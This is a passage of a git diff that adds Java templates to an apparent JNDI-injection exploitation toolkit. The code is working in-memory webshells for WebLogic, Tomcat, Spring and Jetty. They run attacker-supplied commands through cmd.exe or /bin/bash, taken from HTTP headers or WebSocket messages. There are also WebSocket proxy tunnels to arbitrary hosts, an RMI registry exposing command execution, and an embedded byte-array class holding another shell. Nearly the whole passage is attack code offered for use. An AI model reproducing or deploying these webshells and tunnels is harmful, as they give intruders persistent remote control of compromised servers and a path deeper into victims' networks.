res.getWriter().write(""); + } + } else { + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); + field.setAccessible(true); + Object obj = field.get(adapter); + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/isOK.java b/src/main/java/com/qi4l/jndi/template/isOK.java new file mode 100644 index 0000000..7194127 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/isOK.java @@ -0,0 +1,15 @@ +package com.qi4l.jndi.template; + +/** + * @ClassName: isOK + * @Description: TODO + * @Author: Summer + * @Date: 2021/8/1 16:40 + * @Version: v1.0.0 + * @Description: + **/ +public class isOK { + public isOK() { + System.out.println("sucess"); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/isSuccess.java b/src/main/java/com/qi4l/jndi/template/isSuccess.java new file mode 100644 index 0000000..bad9fef --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/isSuccess.java @@ -0,0 +1,20 @@ +package com.qi4l.jndi.template; + +public class isSuccess { + static { + System.out.println("static run success"); + isSuccess x = new isSuccess(); + System.out.println(x.getTest()); + } + + public String test = "impl run success"; + + public String getTest() { + return test; + } + + public String toString() { + System.out.println("toString run success"); + return ""; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java new file mode 100644 index 0000000..8c7de06 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java @@ -0,0 +1,103 @@ +package com.qi4l.jndi.template.memshell.BypassNginxCDN; + +import org.apache.tomcat.util.codec.binary.Base64; +import org.apache.tomcat.util.security.ConcurrentMessageDigest; +import org.apache.tomcat.websocket.Constants; +import org.apache.tomcat.websocket.Transformation; +import org.apache.tomcat.websocket.WsHandshakeResponse; +import org.apache.tomcat.websocket.server.WsHandshakeRequest; +import org.apache.tomcat.websocket.server.WsHttpUpgradeHandler; +import org.apache.tomcat.websocket.server.WsServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.ServletResponseImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.servlet.ServletContext; +import javax.websocket.*; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +public class cmsMSBYNC extends Endpoint implements MessageHandler.Whole { + + static { + try { + Map pathParams = Collections.emptyMap(); + List negotiatedExtensionsPhase = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(cmsMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + + ServletResponseImpl response = connectionHandler.getServletResponse(); + response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); + response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); + response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); + response.setStatus(101); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeResponse wsResponse = new WsHandshakeResponse(); + configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); + try { + WsHttpUpgradeHandler wsHandler = request.upgrade(WsHttpUpgradeHandler.class); + wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase, subProtocol, transformation, pathParams, request.isSecure()); + // Tomcat 7 //wsHandler.preInit((Endpoint)configEndpoint, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + } catch (Exception e) { + e.printStackTrace(); + } + } catch (Exception ignored) { + } + } + + private Session session; + + private static String getWebSocketAccept(String key) { + byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + return Base64.encodeBase64String(digest); + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java new file mode 100644 index 0000000..1d31b1b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java @@ -0,0 +1,195 @@ +package com.qi4l.jndi.template.memshell.BypassNginxCDN; + +import org.apache.catalina.connector.RequestFacade; +import org.apache.tomcat.util.codec.binary.Base64; +import org.apache.tomcat.util.security.ConcurrentMessageDigest; +import org.apache.tomcat.websocket.Constants; +import org.apache.tomcat.websocket.Transformation; +import org.apache.tomcat.websocket.WsHandshakeResponse; +import org.apache.tomcat.websocket.server.WsHandshakeRequest; +import org.apache.tomcat.websocket.server.WsHttpUpgradeHandler; +import org.apache.tomcat.websocket.server.WsServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.ServletResponseImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.servlet.ServletContext; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletRequestWrapper; +import javax.websocket.*; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class proxyMSBYNC extends Endpoint { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + ServletResponseImpl response = connectionHandler.getServletResponse(); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(proxyMSBYNC.class, "/x").build(); + WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + Map pathParams = Collections.emptyMap(); + + + response.setHeader(Constants.UPGRADE_HEADER_NAME, Constants.UPGRADE_HEADER_VALUE); + response.setHeader(Constants.CONNECTION_HEADER_NAME, Constants.CONNECTION_HEADER_VALUE); + response.setHeader(HandshakeResponse.SEC_WEBSOCKET_ACCEPT, getWebSocketAccept(request.getHeader("Sec-WebSocket-Key"))); + response.setStatus(101); + WsHandshakeRequest wsRequest = new WsHandshakeRequest(request, pathParams); + WsHandshakeResponse wsResponse = new WsHandshakeResponse(); + configEndpoint.getConfigurator().modifyHandshake(configEndpoint, wsRequest, wsResponse); + try { + List negotiatedExtensionsPhase2 = Collections.emptyList(); + Transformation transformation = null; + String subProtocol = null; + RequestFacade requestFacade = getRequestFacade(request); + WsHttpUpgradeHandler wsHandler = requestFacade.upgrade(WsHttpUpgradeHandler.class); + if (wsHandler != null) { + // Tomcat 8 preInit + wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + // Tomcat 7 preInit + // Endpoint ep = (Endpoint)configEndpoint.getConfigurator().getEndpointInstance(configEndpoint.getEndpointClass()); + // wsHandler.preInit(ep, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); + } + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception ignored) { + } + } + + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + private static RequestFacade getRequestFacade(HttpServletRequest request) { + if (request instanceof RequestFacade) { + return (RequestFacade) request; + } else if (request instanceof HttpServletRequestWrapper) { + HttpServletRequestWrapper wrapper = (HttpServletRequestWrapper) request; + HttpServletRequest wrappedRequest = (HttpServletRequest) wrapper.getRequest(); + return getRequestFacade(wrappedRequest); + } else { + throw new IllegalArgumentException("Cannot convert [" + request.getClass() + "] to org.apache.catalina.connector.RequestFacade"); + } + } + + private static String getWebSocketAccept(String key) { + byte[] WS_ACCEPT = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11".getBytes(StandardCharsets.ISO_8859_1); + byte[] digest = ConcurrentMessageDigest.digestSHA1(key.getBytes(StandardCharsets.ISO_8859_1), WS_ACCEPT); + return Base64.encodeBase64String(digest); + } + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java b/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java new file mode 100644 index 0000000..3cd2b85 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.template.memshell; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.UnicastRemoteObject; + +/** + * RMI 内存马(也不算内存马吧,算是一种方式) + * 参考 weblogic 的 T3/IIOP 回显方式 + * 启动一个 RMI Registry 并 bind 一个具有命令执行逻辑的方法 + * 然后攻击者可以利用此 Registry 调用对应的 service + *

+ * 目前的实现方式存在被反制的风险,慎用哦 + *

+ */ +public class RMIBindTemplate implements Remote { + static int port; + + static int bindPort; + + static String serviceName; + + + static { + try { + Registry registry = null; + try { + registry = LocateRegistry.createRegistry(port); + } catch (Exception ignored) { + + } + if (registry != null) { + registry = LocateRegistry.getRegistry("127.0.0.1", port); + } + + RMIBindTemplate rbt = new RMIBindTemplate(); + UnicastRemoteObject.exportObject(rbt, bindPort); + registry.rebind(serviceName, rbt); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java new file mode 100644 index 0000000..bae4daf --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java @@ -0,0 +1,152 @@ +package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class MsTSJproxy extends Endpoint implements MessageHandler.Whole, CompletionHandler { + + static { + String path = "/proxy"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null) { + Field field = null; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + } catch (Exception e) { + try { + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + } catch (NoSuchFieldException ex) { + ex.printStackTrace(); + } + field.setAccessible(true); + } + try { + standardroot = (StandardRoot) field.get(webappClassLoaderBase); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(MsTSJproxy.class, path).build(); + ServerContainer container = (ServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + try { + container.addEndpoint(configEndpoint); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + final ByteBuffer buffer = ByteBuffer.allocate(102400); + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + private Session session; + private AsynchronousSocketChannel client = null; + + public MsTSJproxy() { + } + + @Override + public void completed(Integer result, Session channel) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (channel.isOpen()) { + channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(channel, client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(channel, client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Session channel) { + t.printStackTrace(); + } + + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.i = 0; + this.session = session; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024); + session.setMaxTextMessageBufferSize(1024 * 1024 * 1024); + session.addMessageHandler(this); + } + + void readFromServer(Session channel, final AsynchronousSocketChannel client) { + this.client = client; + buffer.clear(); + client.read(buffer, channel, this); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + readFromServer(channel, client); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java new file mode 100644 index 0000000..717de78 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java @@ -0,0 +1,51 @@ +package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.catalina.webresources.StandardRoot; +import org.apache.tomcat.websocket.server.WsServerContainer; + +import javax.websocket.DeploymentException; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +public class MsTSJser { + static { + try { + String urlPath = "/cmd"; + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); + if (standardroot == null) { + Field field; + try { + field = webappClassLoaderBase.getClass().getDeclaredField("resources"); + field.setAccessible(true); + } catch (Exception e) { + field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + } + standardroot = (StandardRoot) field.get(webappClassLoaderBase); + } + StandardContext standardContext = (StandardContext) standardroot.getContext(); + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + Class clazz; + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 